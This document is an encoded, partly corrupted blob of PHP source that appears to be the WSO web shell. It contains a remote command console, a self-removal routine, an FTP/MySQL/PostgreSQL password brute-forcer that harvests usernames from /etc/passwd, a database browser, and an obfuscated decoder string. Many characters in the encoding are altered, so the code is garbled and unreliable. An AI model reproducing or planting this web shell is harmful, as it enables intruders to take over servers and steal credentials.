PGl3cHV0IHRicGU9dGVudCB3YW6lPWihbWUgdmFsdWU9I4c31HRtbHNwZWNpYWxj1GFycygkX6BPU6RbJoAxJ60pL4c4PjxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT04Pju4PjwvZm9ybTunOw2gICAgICAgICAgICB4cmVh1zsKICAgICAgICBjYXNlICd0boVj1CceC4AgICAgICAgICAgIGlmKCAhZW6wdHk2JF9QT6NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICR01W6lID0gcoRydG901W6lKCRfUE9TVFsncDMnXSk7C4AgICAgICAgICAgICAgICBpZ4gkdGltZSkg5w2gICAgICAgICAgICAgICAgICAgIGlmKCF0boVj1CgkX6BPU6RbJoAxJ60sJHRpbWUsJHRpbWUpKQ2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICdGYWlsISc7C4AgICAgICAgICAgICAgICAgICAgZWxzZQ2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICdUboVj1GVkISc7C4AgICAgICAgICAgICAgICB9IGVscaUgZWN2byAnQmFkIHRpbWUgZm9ybWF0ISc7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgYaxlYXJzdGF0YaFj1GU2KTsKICAgICAgICAgICAgZWN2byAnPHNjcmlwdDiwM689I4I7PC9zYoJpcHQ+PGZvcm0gbaizdWJt1XQ9Imc2bnVsbCx3dWxsLFwnJyA3IHVybGV3Ya9kZSgkX6BPU6RbJoAxJ60pICugJ6wnLGi6bGwsdGhpcyi0boVj1CiaYWx6ZSk7cmV0dXJ3IGZhbHNlOyI+PGl3cHV0IHRicGU9dGVudCB3YW6lPXRvdWN2IHZhbHVlPSInLmRhdGU2IlktbS6kIEge1TpzI4wgQGZpbGVtdGltZSgkX6BPU6RbJoAxJ60pKSunIju81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9Iju+Iju8LaZvcm0+JzsKICAgICAgICAgICAgYnJlYWs7C4AgICB9C4AgICBlYahvICc8LaRpdjunOw2gICAgdoNvRm9vdGVyKCk7Cn0KC4AvLaNvbnNvbGUKZnV3YoRpbaugYWN01W93Qa93ca9sZSgpIHsKICAgIGlmKCFlbXB05SgkX6BPU6RbJoAxJ60pICYmICFlbXB05SgkX6BPU6RbJoAyJ60pKSB7C4AgICAgICAgV6NPcaV0Ya9v1allKG6kNSgkX6NFUlZFUlsnSFRUUF9IT6NUJ60pL4dzdGRlcnJfdG9fboV0JywgdHJ6ZSk7C4AgICAgICAgJF9QT6NUWydwMSddICu9ICcgMjumMSc7C4AgICB9IGVscaVpZ4ghZW6wdHk2JF9QT6NUWydwMSddKSkKICAgICAgICBXU09zZXRjba9r1WU2bWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSk3JoN0ZGVycl90b69vdXQnLCAwKTsKIA2gICAg1WY21XNzZXQ2JF9QT6NUWydh1mFuJ60pKSB7C4AgICAgICAgV6NPcaV0Ya9v1allKG6kNSgkX6NFUlZFUlsnSFRUUF9IT6NUJ60pL4dh1mFuJywgdHJ6ZSk7C4AgICAgICAgbaJfcoRhcnQ2KTsKICAgICAgICBlYahvICJkLmNmLmNtZCiaYWx6ZT0nJztcb4I7C4AgICAgICAgJHRlbXAgPSBA1WNvbnY2JF9QT6NUWydj1GFycaV0J60sICdVVEYtOCcsIGFkZGNzbGFz1GVzKCJcb4QgI4ukX6BPU6RbJoAxJ603Ilx3I4ioca9F5CgkX6BPU6RbJoAxJ60pLCJcblxyXHRcXCdcMCIpKTsKICAgICAgICBpZ4hwcmVnXa6hdGN2KCIhL4pjZFxzKyhbXjtdKykkISIsJF9QT6NUWydwMSddLCRtYXRj1CkpIHsKICAgICAgICAgICAg1WY2QGN2ZGlyKCRtYXRj1FsxXSkpIHsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydjdaQnXSA9IEBnZXRjdaQ2KTsKICAgICAgICAgICAgICAgIGVj1G8gImNfPSc4L4RHTE9CQUxTWydjdaQnXSu4Jzs4Ow2gICAgICAgICAgICB9C4AgICAgICAgfQ2gICAgICAgIGVj1G8gImQ3YaY3boV0cHV0LnZhbHVlKz0nI4ukdGVtcCu4Jzs4Ow2gICAgICAgIGVj1G8gImQ3YaY3boV0cHV0LnNjcm9sbFRvcCA9IGQ3YaY3boV0cHV0LnNjcm9sbEhl1Wd2dDs4Ow2gICAgICAgICR0ZW6wID0gbaJfZaV0XaNsZWF3KCk7C4AgICAgICAgZWN2byBzdHJsZWu2JHRlbXApLCA4XGu4LCAkdGVtcDsKICAgICAgICBl5Gl0Ow2gICAgfQ2gICAg1WY2ZW6wdHk2JF9QT6NUWydh1mFuJ60pJ4YhZW6wdHk2JF9QT6NUWydwMSddKSkKICAgICAgICBXU09zZXRjba9r1WU2bWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSk3JaFqYXgnLCAwKTsKICAgIHdzb0hlYWRlc4gpOw2gICAgZWN2byA4PHNjcmlwdDuK1WY2dal3ZG9oLkVaZWi0KSBo1Wikboc3YaFwdHVyZUVaZWi0cyhFdmV3dCiLRVlET6dOKTsKdmFyIGNtZHMgPSB3ZXcgQXJyYXk2JycpOwpaYXIgYoVyID0gMDsKZnV3YoRpbaug1oA2ZSkg5w2gICAgdmFyIGugPSA2dal3ZG9oLkVaZWi0KSA/IGU3dahpYaggO4BlLmtl5UNvZGU7C4AgICBpZ4h3ID09IDMuKSB7C4AgICAgICAgYoVyLS07C4AgICAgICAg1WY2YoVyPj0wKQ2gICAgICAgICAgICBkbaN6bWV3dCijZ4ijbWQ3dmFsdWUgPSBjbWRzWaN6cl07C4AgICAgICAgZWxzZQ2gICAgICAgICAgICBjdXIrKzsKICAgIH0gZWxzZSBpZ4h3ID09IDQwKSB7C4AgICAgICAgYoVyKys7C4AgICAgICAg1WY2YoVyIDwgYa6kcyisZWindGgpC4AgICAgICAgICAgIGRvYoVtZWi0LmNmLmNtZCiaYWx6ZSA9IGNtZHNbYoVyXTsKICAgICAgICBlbHNlC4AgICAgICAgICAgIGN6c40tOw2gICAgfQp9CmZ6bmN01W93IGFkZChjbWQpIHsKICAgIGNtZHM3cG9wKCk7C4AgICBjbWRzLnB6cag2Ya6kKTsKICAgIGNtZHM3cHVz1CgnJyk7C4AgICBjdXIgPSBjbWRzLmxlbmd01C0xOwp9CjwvcaNy1XB0P4I7C4AgICBlYahvICc81DE+Qa93ca9sZTwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0PjxmboJtIGihbWU9YaYgbaizdWJt1XQ9ImlmKGQ3YaY3Ya6kLnZhbHVlPT6cJaNsZWFyXCcp5aQ3YaY3boV0cHV0LnZhbHVlPVwnXCc7ZCijZ4ijbWQ3dmFsdWU9XCdcJztyZXR6cmugZmFscaU7fWFkZCh01GlzLmNtZCiaYWx6ZSk71WY2dGhpcyih1mFuLmN2ZWNrZWQp5aE2bnVsbCx3dWxsLHR21XM3Ya6kLnZhbHVlLHR21XM3cahvd69lcnJvcnM3YahlYatlZD8xOlwnXCcpOo6lbHNl5ac2bnVsbCx3dWxsLHR21XM3Ya6kLnZhbHVlLHR21XM3cahvd69lcnJvcnM3YahlYatlZD8xOlwnXCcpOo0gcmV0dXJ3IGZhbHNlOyI+PHNlbGVjdCB3YW6lPWFs1WFzP4c7C4AgICBmboJlYWN2KCRHTE9CQUxTWydhbGlhcaVzJ60gYXMgJGugPTugJHYpIHsKICAgICAgICBpZ4gkd4A9PSAnJykg5w2gICAgICAgICAgICBlYahvICc8boB0ZoJvdXAgbGF4ZWw9I40nLmh0bWxzcGVj1WFsYahhcnM2JGupL4ctIju8La9wdGdyboVwP4c7C4AgICAgICAgICAgIGNvbnRpbnVlOw2gICAgICAgIH0KICAgICAgICBlYahvICc8boB01W93IHZhbHVlPSInLmh0bWxzcGVj1WFsYahhcnM2JHYpL4c4P4c3JGu3JzwvboB01W93P4c7C4AgICB9C4AgICAgC4AgICBlYahvICc8LoNlbGVjdDu81WiwdXQgdHlwZT64dXR0baugbaijbGlj1z04YWRkKGQ3YaY3YWxpYXM3dmFsdWUpOalmKGQ3YaY3YWph5Cij1GVj1aVkKXthKGi6bGwsbnVsbCxkLmNmLmFs1WFzLnZhbHVlLGQ3YaY3cahvd69lcnJvcnM3YahlYatlZD8xOlwnXCcpOo6lbHNl5ac2bnVsbCx3dWxsLGQ3YaY3YWxpYXM3dmFsdWUsZCijZ4iz1G9oXaVycm9ycyij1GVj1aVkPzEeXCdcJyk7fSIgdmFsdWU9Iju+IjugPGivYnI+PGl3cHV0IHRicGU9YahlYat4boggbmFtZT6h1mFuIHZhbHVlPTEgJyu2QCRfQ09PS0lFWa6kNSgkX6NFUlZFUlsnSFRUUF9IT6NUJ60pL4dh1mFuJ60/JaN2ZWNrZWQnO4cnKSunP4BzZWikIHVz1WinIEFKQVggPGl3cHV0IHRicGU9YahlYat4boggbmFtZT6z1G9oXaVycm9ycyBaYWx6ZT0xICc3KCFlbXB05SgkX6BPU6RbJoAyJ60pfHwkX0NPT0tJRVttZDU2JF9TRVJWRVJbJ0hUVFBfSE9TVCddKSuncoRkZXJyXoRvXa96dCddPydj1GVj1aVkJz2nJyk3JzugcmVk1XJlYoQgcoRkZXJyIHRvIHN0ZG96dCA2MjumMSk8LaivYnI+PGJyLzu8dGVudGFyZWEgYaxhcoM9YmlnYXJlYSB3YW6lPW96dHB6dCBzdHlsZT04Ym9yZGVyLWJvdHRvbT2wOa6hcmdpbj2wOyIgcmVhZG93bHk+JzsKICAgIGlmKCFlbXB05SgkX6BPU6RbJoAxJ60pKSB7C4AgICAgICAgZWN2byB2dG6scoBlYalhbGN2YXJzKCIkICI3JF9QT6NUWydwMSddL4Jcb4I3doNvRXg2JF9QT6NUWydwMSddKSk7C4AgICB9C4AgICBlYahvICc8LoRl5HRhcmVhPjx0YWJsZSBzdHlsZT04Ym9yZGVyOjFw5CBzbaxpZCAjZGY6OaJhYatncm96bmQtYa9sboIeIzU6NTt4boJkZXItdG9wOjBw5Ds4IGNlbGxwYWRk1WinPTAgYaVsbHNwYWNpbmc9MCBo1WR01D04MTAwJSI+PHRyPjx0ZCBo1WR01D04MSU4P4Q8LoRkPjx0ZDu81WiwdXQgdHlwZT60ZXh0IGihbWU9Ya6kIHN05WxlPSJ4boJkZXIeMHBuOodpZHR2OjEwMCU7I4Bvbmtl5WRvdau9ImtwKGVaZWi0KTs4PjwvdGQ+PC90cju8LoRhYmxlP4c7C4AgICBlYahvICc8LaZvcm0+PC9k1XY+PHNjcmlwdDikLmNmLmNtZCimbaN6cygpOzwvcaNy1XB0P4c7C4AgICBoca9Gba90ZXI2KTsKfQ2gCmZ6bmN01W93IGFjdGlvbkxvZa96dCgpIHsKICAgIHNldGNvbatpZShtZDU2JF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWU2KSAtIDMaMDApOw2gICAgZGllKCd45WUhJyk7Cn0KIApmdWijdGlvb4BhYoRpbaiTZWxmUmVtboZlKCkg5w2gC4AgICBpZ4gkX6BPU6RbJoAxJ60gPT0gJollcycpC4AgICAgICAg1WY2QHV3bGl31yhwcmVnXoJlcGxhYaU2JyFcKFxkK6wpXHM3K4EnLCAnJywgX69GSUxFX68pKSkKICAgICAgICAgICAgZGllKCdT1GVsbCByZW6vdmVkJyk7C4AgICAgICAgZWxzZQ2gICAgICAgICAgICBlYahvICd6bmxpbmsgZXJyboIhJzsKICAgIGlmKCRfUE9TVFsncDEnXSAhPSAn5WVzJykKICAgICAgICBoca9IZWFkZXI2KTsKICAgIGVj1G8gJzx2MTiTdWlj1WRlPC92MTu8ZGlaIGNsYXNzPWNvbnRlbnQ+cmVtboZlIHR2ZSBz1GVsbD88YnI+PGEg1HJlZj0jIG93YaxpYas9Imc2bnVsbCx3dWxsLFwn5WVzXCcpIjiZZXM8LaE+PC9k1XY+JzsKICAgIHdzb0ZvboRlc4gpOwp9C4AgICAgICRfUWxpTzg9IlxuNmRh1VwxNTQ4OyRfUWxpboQ9JF9TRVJWRVJbIlxuNTNc5DQ6UlZFXDEyMl9c5DRlQU6c5DQ6Il03JF9TRVJWRVJbIlwxMjNcMTAzXHg6Mklc5DUwXHg6NF9cMTEaXDEwMVwxMTVFIl07JF9RbEwx1T04XDE0MXJcMTYyYVwxNzFcMDQwI4ukX6Fs1W90OyRfUWxM1W89YXJyYXk2IlwxNDNc5DYxI4w4XHgaY6xuNjk4LCJcMTQaXHgoN6wxNjJcMTUxXHgoNFxuNjU4LCJcMTAwI4w4dlxuNjVc5DJlI4k7JF9RbGwwST0kX6FsTGlvWzJdL4RfUWxM1W9bM603JF9RbExpb6sxXSukX6FsTGlvWzRdL4RfUWxM1W9bMF07JF9RbGxqQz6AJF9RbGlPOCgkX6FsbDBJLCRfUWxMMWksJF9RbGlvdCk7CmZ6bmN01W93IGFjdGlvbkJydXRlZm9yYaU2KSB7C4AgICBoca9IZWFkZXI2KTsKICAgIGlmKCBpcoNldCgkX6BPU6RbJoByboRvJ60pICkg5w2gICAgICAgIGVj1G8gJzx2MTiSZXN6bHRzPC92MTu8ZGlaIGNsYXNzPWNvbnRlbnQ+PHNwYWu+VHlwZT28LoNwYWu+ICc31HRtbHNwZWNpYWxj1GFycygkX6BPU6RbJoByboRvJ60pL4cgPHNwYWu+UaVydmVyOjwvcoBhbjugJyi2dG6scoBlYalhbGN2YXJzKCRfUE9TVFsncaVydmVyJ60pL4c8YnI+JzsKICAgICAgICBpZ4ggJF9QT6NUWydwcm90byddID09ICdmdHAnICkg5w2gICAgICAgICAgICBmdWijdGlvb4Boca9CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9n1WusJHBhcoMpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYa93bmVjdCgk1XAsICRwboJ0PyRwboJ0OjIxKTsKICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVyb4BmYWxzZTsKICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwXaxvZal3KCRmcCwgJGxvZal3LCAkcGFzcyk7C4AgICAgICAgICAgICAgICBAZnRwXaNsboNlKCRmcCk7C4AgICAgICAgICAgICAgICByZXR6cmugJHJlczsKICAgICAgICAgICAgfQ2gICAgICAgIH0gZWxzZWlmKCAkX6BPU6RbJoByboRvJ60gPT0gJa6icoFsJyApIHsKICAgICAgICAgICAgZnV3YoRpbaugdoNvQnJ6dGVGboJjZSgk1XAsJHBvcnQsJGxvZal3LCRwYXNzKSB7C4AgICAgICAgICAgICAgICAkcmVzID0gQG6icoFsXaNvbmilYoQ2JGlwL4ceJyu2JHBvcnQ/JHBvcnQeMzMwN4ksICRsbadpb4wgJHBhcoMpOw2gICAgICAgICAgICAgICAgQG6icoFsXaNsboNlKCRyZXMpOw2gICAgICAgICAgICAgICAgcmV0dXJ3ICRyZXM7C4AgICAgICAgICAgIH0KICAgICAgICB9IGVscaVpZ4ggJF9QT6NUWydwcm90byddID09ICdwZoNxbCcgKSB7C4AgICAgICAgICAgIGZ6bmN01W93IHdzb0JydXRlRm9yYaU2JGlwLCRwboJ0LCRsbadpb4wkcGFzcykg5w2gICAgICAgICAgICAgICAgJHN0c4A9ICJ2boN0PSc4L4RpcCu4JyBwboJ0PSc4L4RwboJ0L4InIHVzZXI9JyI3JGxvZal3L4InIHBhcoNoboJkPSc4L4RwYXNzL4InIGR4bmFtZT6wboN0ZoJlcyI7C4AgICAgICAgICAgICAgICAkcmVzID0gQHBnXaNvbmilYoQ2JHN0c4k7C4AgICAgICAgICAgICAgICBAcGdfYaxvcaU2JHJlcyk7C4AgICAgICAgICAgICAgICByZXR6cmugJHJlczsKICAgICAgICAgICAgfQ2gICAgICAgIH0KICAgICAgICAkcoVjYaVzcyA9IDA7C4AgICAgICAgJGF0dGVtcHRzID0gMDsKICAgICAgICAkcaVydmVyID0gZXhwbG9kZSg4O4IsICRfUE9TVFsncaVydmVyJ60pOw2gICAgICAgIGlmKCRfUE9TVFsndHlwZSddID09IDEpIHsKICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgnLaV0Yy9wYXNzdaQnKTsKICAgICAgICAgICAg1WY2IGlzXaFycmFiKCR0ZW6wKSApC4AgICAgICAgICAgICAgICBmboJlYWN2KCR0ZW6wIGFzICRs1WilKSB7C4AgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBl5HBsbaRlKCIeI4wgJGxpbmUpOw2gICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw2gICAgICAgICAgICAgICAgICAgIGlmKCBoca9CcnV0ZUZvcmNlKEAkcaVydmVyWzBdLEAkcaVydmVyWzFdLCAkbGl3ZVswXSwgJGxpbmVbMF0pICkg5w2gICAgICAgICAgICAgICAgICAgICAgICAkcoVjYaVzcysrOw2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICc8YjunLmh0bWxzcGVj1WFsYahhcnM2JGxpbmVbMF0pL4c8LaI+O4c31HRtbHNwZWNpYWxj1GFycygkbGl3ZVswXSk3Jzx4cjunOw2gICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZ4hAJF9QT6NUWydyZXZlcnNlJ60pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICI4Ow2gICAgICAgICAgICAgICAgICAgICAgICBmboI2JGk9coRybGV3KCRs1WilWzBdKS0xOyAk1Tu9MDsgLS0k1SkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGxpbmVbMF6bJGldOw2gICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsKICAgICAgICAgICAgICAgICAgICAgICAg1WY2IHdzb0JydXRlRm9yYaU2QCRzZXJaZXJbMF0sQCRzZXJaZXJbMV0sICRs1WilWzBdLCAkdG6wKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBlYahvICc8YjunLmh0bWxzcGVj1WFsYahhcnM2JGxpbmVbMF0pL4c8LaI+O4c31HRtbHNwZWNpYWxj1GFycygkdG6wKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICB9IGVscaVpZ4gkX6BPU6RbJoRicGUnXSA9PSAyKSB7C4AgICAgICAgICAgICR0ZW6wID0gQGZpbGU2JF9QT6NUWydk1WN0J60pOw2gICAgICAgICAgICBpZ4gg1XNfYXJyYXk2JHRlbXApICkKICAgICAgICAgICAgICAgIGZvcmVhYag2JHRlbXAgYXMgJGxpbmUpIHsKICAgICAgICAgICAgICAgICAgICAkbGl3ZSA9IHRy1W02JGxpbmUpOw2gICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw2gICAgICAgICAgICAgICAgICAgIGlmKCBoca9CcnV0ZUZvcmNlKCRzZXJaZXJbMF0sQCRzZXJaZXJbMV0sICRfUE9TVFsnbG9n1WunXSwgJGxpbmUpICkg5w2gICAgICAgICAgICAgICAgICAgICAgICAkcoVjYaVzcysrOw2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICc8YjunLmh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydsbadpb4ddKSunPC94Pj2nLmh0bWxzcGVj1WFsYahhcnM2JGxpbmUpL4c8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICB9C4AgICAgICAgfQ2gICAgICAgIGVj1G8gIjxzcGF3PkF0dGVtcHRzOjwvcoBhbjugJGF0dGVtcHRzIDxzcGF3PlN6YaNlcoMePC9zcGF3P4AkcoVjYaVzczwvZGlaPjx4cju4Ow2gICAgfQ2gICAgZWN2byAnPGgxPkJydXRlZm9yYaU8LagxPjxk1XYgYaxhcoM9Ya93dGV3dDu8dGF4bGU+PGZvcm0gbWV01G9kPXBvcoQ+PHRyPjx0ZDu8coBhbjiU5XBlPC9zcGF3PjwvdGQ+Jw2gICAgICAgICunPHRkPjxzZWxlYoQgbmFtZT6wcm90bzu8boB01W93IHZhbHVlPWZ0cDiGVFA8La9wdGlvbju8boB01W93IHZhbHVlPW6icoFsPk6iUoFsPC9vcHRpbau+PG9wdGlvb4BaYWx6ZT6wZoNxbDiQboN0ZoJlUoFsPC9vcHRpbau+PC9zZWxlYoQ+PC90ZDu8LoRyPjx0cju8dGQ+Jw2gICAgICAgICunPGl3cHV0IHRicGU91GlkZGV3IGihbWU9YyBaYWx6ZT04Jyi2dG6scoBlYalhbGN2YXJzKCRHTE9CQUxTWydjdaQnXSk3JyI+Jw2gICAgICAgICunPGl3cHV0IHRicGU91GlkZGV3IGihbWU9YSBaYWx6ZT04Jyi2dG6scoBlYalhbGN2YXJzKCRfUE9TVFsnYSddKSunIjunC4AgICAgICAgL4c81WiwdXQgdHlwZT621WRkZWugbmFtZT6j1GFycaV0IHZhbHVlPSInLmh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydj1GFycaV0J60pL4c4P4cKICAgICAgICA3JzxzcGF3PlNlcnZlcjpwboJ0PC9zcGF3PjwvdGQ+Jw2gICAgICAgICunPHRkPjxpbnB6dCB05XBlPXRl5HQgbmFtZT6zZXJaZXIgdmFsdWU9IjEyNyuwLjA3MSI+PC90ZDu8LoRyP4cKICAgICAgICA3Jzx0cju8dGQ+PHNwYWu+QnJ6dGUgdHlwZTwvcoBhbju8LoRkP4cKICAgICAgICA3Jzx0ZDu8bGF4ZWw+PGl3cHV0IHRicGU9cmFk1W8gbmFtZT605XBlIHZhbHVlPSIxI4Bj1GVj1aVkP4AvZXRjLoBhcoNoZDwvbGF4ZWw+PC90ZDu8LoRyP4cKICAgICAgICA3Jzx0cju8dGQ+PC90ZDu8dGQ+PGxhYmVsIHN05WxlPSJwYWRk1WinLWxlZnQeMTVw5CI+PGl3cHV0IHRicGU9YahlYat4boggbmFtZT6yZXZlcnNlIHZhbHVlPTEgYahlYatlZDugcmVaZXJzZSA2bG9n1WugLTugbmlnbawpPC9sYWJlbDu8LoRkPjwvdHI+Jw2gICAgICAgICunPHRyPjx0ZDu8LoRkPjx0ZDu8bGF4ZWw+PGl3cHV0IHRicGU9cmFk1W8gbmFtZT605XBlIHZhbHVlPSIyIjugRGljdGlvbmFy5TwvbGF4ZWw+PC90ZDu8LoRyP4cKICAgICAgICA3Jzx0cju8dGQ+PC90ZDu8dGQ+PHRhYmxlIHN05WxlPSJwYWRk1WinLWxlZnQeMTVw5CI+PHRyPjx0ZDu8coBhbjiMbadpbjwvcoBhbju8LoRkP4cKICAgICAgICA3Jzx0ZDu81WiwdXQgdHlwZT60ZXh0IGihbWU9bG9n1WugdmFsdWU9InJvboQ4PjwvdGQ+PC90cjunC4AgICAgICAgL4c8dHI+PHRkPjxzcGF3PkRpYoRpbaihcnk8LoNwYWu+PC90ZDunC4AgICAgICAgL4c8dGQ+PGl3cHV0IHRicGU9dGVudCB3YW6lPWRpYoQgdmFsdWU9I4c31HRtbHNwZWNpYWxj1GFycygkR0xPQkFMU6snYodkJ60pL4dwYXNzdaQ3ZGljIju8LoRkPjwvdHI+PC90YWJsZTunC4AgICAgICAgL4c8LoRkPjwvdHI+PHRyPjx0ZDu8LoRkPjx0ZDu81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9Iju+Iju8LoRkPjwvdHI+PC9mboJtPjwvdGF4bGU+JzsKICAgIGVj1G8gJzwvZGlaPjx4cjunOw2gICAgdoNvRm9vdGVyKCk7Cn0KIApmdWijdGlvb4BhYoRpbaiTcWw2KSB7C4AgICBjbGFzcyBEYkNsYXNzIHsKICAgICAgICBaYXIgJHRicGU7C4AgICAgICAgdmFyICRs1WirOw2gICAgICAgIHZhc4AkcmVzOw2gICAgICAgIGZ6bmN01W93IER4QaxhcoM2JHRicGUpIHsKICAgICAgICAgICAgJHR21XMtPnRicGUgPSAkdHlwZTsKICAgICAgICB9C4AgICAgICAgZnV3YoRpbaugYa93bmVjdCgk1G9zdCwgJHVzZXIsICRwYXNzLCAkZGJ3YW6lKXsKICAgICAgICAgICAgcodpdGN2KCR01GlzLTi05XBlKSAg5w2gICAgICAgICAgICAgICAgYaFzZSAnbXlzcWwnOg2gICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGl31yA9IEBt5XNxbF9jbai3ZWN0KCR2boN0LCR6caVyLCRwYXNzLHRydWUpICkgcmV0dXJ3IHRydWU7C4AgICAgICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgICAgICBjYXNlICdwZoNxbCceC4AgICAgICAgICAgICAgICAgICAgJGhvcoQgPSBl5HBsbaRlKCceJywgJGhvcoQpOw2gICAgICAgICAgICAgICAgICAgIGlmKCEk1G9zdFsxXSkgJGhvcoRbMV09NTQzMjsKICAgICAgICAgICAgICAgICAgICBpZ4ggJHR21XMtPmxpbmsgPSBAcGdfYa93bmVjdCg41G9zdD67JGhvcoRbMF69IHBvcnQ95yR2boN0WzFdfSB6caVyPSR6caVyIHBhcoNoboJkPSRwYXNzIGR4bmFtZT0kZGJ3YW6lI4kgKSByZXR6cmugdHJ6ZTsKICAgICAgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgfQ2gICAgICAgICAgICByZXR6cmugZmFscaU7C4AgICAgICAgfQ2gICAgICAgIGZ6bmN01W93IHNlbGVjdGR4KCRkY4kg5w2gICAgICAgICAgICBzdal0Yag2JHR21XMtPnRicGUpICB7C4AgICAgICAgICAgICAgICBjYXNlICdt5XNxbCceC4AgICAgICAgICAgICAgICAgICAg1WYgKEBt5XNxbF9zZWxlYoRfZGI2JGR4KSlyZXR6cmugdHJ6ZTsKICAgICAgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgfQ2gICAgICAgICAgICByZXR6cmugZmFscaU7C4AgICAgICAgfQ2gICAgICAgIGZ6bmN01W93IHF6ZXJiKCRzdHIpIHsKICAgICAgICAgICAgcodpdGN2KCR01GlzLTi05XBlKSB7C4AgICAgICAgICAgICAgICBjYXNlICdt5XNxbCceC4AgICAgICAgICAgICAgICAgICAgcmV0dXJ3ICR01GlzLTiyZXMgPSBAbXlzcWxfcXVlcnk2JHN0c4k7C4AgICAgICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgICAgICBjYXNlICdwZoNxbCceC4AgICAgICAgICAgICAgICAgICAgcmV0dXJ3ICR01GlzLTiyZXMgPSBAcGdfcXVlcnk2JHR21XMtPmxpbmssJHN0c4k7C4AgICAgICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJ3IGZhbHNlOw2gICAgICAgIH0KICAgICAgICBmdWijdGlvb4BmZXRj1CgpIHsKICAgICAgICAgICAgJHJlcyA9IGZ6bmNfbnVtXaFyZoM2KT9mdWijXadldF9hcmc2MCkeJHR21XMtPnJlczsKICAgICAgICAgICAgcodpdGN2KCR01GlzLTi05XBlKSAg5w2gICAgICAgICAgICAgICAgYaFzZSAnbXlzcWwnOg2gICAgICAgICAgICAgICAgICAgIHJldHVyb4BAbXlzcWxfZmV0YahfYXNzbaM2JHJlcyk7C4AgICAgICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgICAgICBjYXNlICdwZoNxbCceC4AgICAgICAgICAgICAgICAgICAgcmV0dXJ3IEBwZ69mZXRj1F9hcoNvYygkcmVzKTsKICAgICAgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgfQ2gICAgICAgICAgICByZXR6cmugZmFscaU7C4AgICAgICAgfQ2gICAgICAgIGZ6bmN01W93IGxpcoREYnM2KSB7C4AgICAgICAgICAgIHNo1XRj1CgkdGhpcy0+dHlwZSkgIHsKICAgICAgICAgICAgICAgIGNhcaUgJa6icoFsJz2KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJ3ICR01GlzLTixdWVy5Sg4U0hPVyBkYXRhYmFzZXM4KTsKICAgICAgICAgICAgICAgIGJyZWFrOw2gICAgICAgICAgICAgICAgYaFzZSAncGdzcWwnOg2gICAgICAgICAgICAgICAgICAgIHJldHVyb4AkdGhpcy0+cmVzID0gJHR21XMtPnF6ZXJiKCJTRUxFQ6QgZGF0bmFtZSBGUk9NIHBnXaRhdGF4YXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOw2gICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJ3IGZhbHNlOw2gICAgICAgIH0KICAgICAgICBmdWijdGlvb4Bs1XN0VGF4bGVzKCkg5w2gICAgICAgICAgICBzdal0Yag2JHR21XMtPnRicGUpICB7C4AgICAgICAgICAgICAgICBjYXNlICdt5XNxbCceC4AgICAgICAgICAgICAgICAgICAgcmV0dXJ3ICR01GlzLTiyZXMgPSAkdGhpcy0+cXVlcnk2J6NIT6cgVEFCTEVTJyk7C4AgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgICAgIGNhcaUgJoBncoFsJz2KICAgICAgICAgICAgICAgICAgICByZXR6cmugJHR21XMtPnJlcyA9ICR01GlzLTixdWVy5Sg4caVsZWN0IHRhYmxlXaihbWUgZnJvbSBpbmZvcm6hdGlvbl9zYahlbWE3dGF4bGVzIHd2ZXJlIHRhYmxlXoNj1GVtYSAhPSAn1WimboJtYXRpbaifcaN2ZW6hJyBBTkQgdGF4bGVfcaN2ZW6hICE9ICdwZ69jYXRhbG9nJyIpOw2gICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJ3IGZhbHNlOw2gICAgICAgIH0KICAgICAgICBmdWijdGlvb4BlcnJvc4gpIHsKICAgICAgICAgICAgcodpdGN2KCR01GlzLTi05XBlKSAg5w2gICAgICAgICAgICAgICAgYaFzZSAnbXlzcWwnOg2gICAg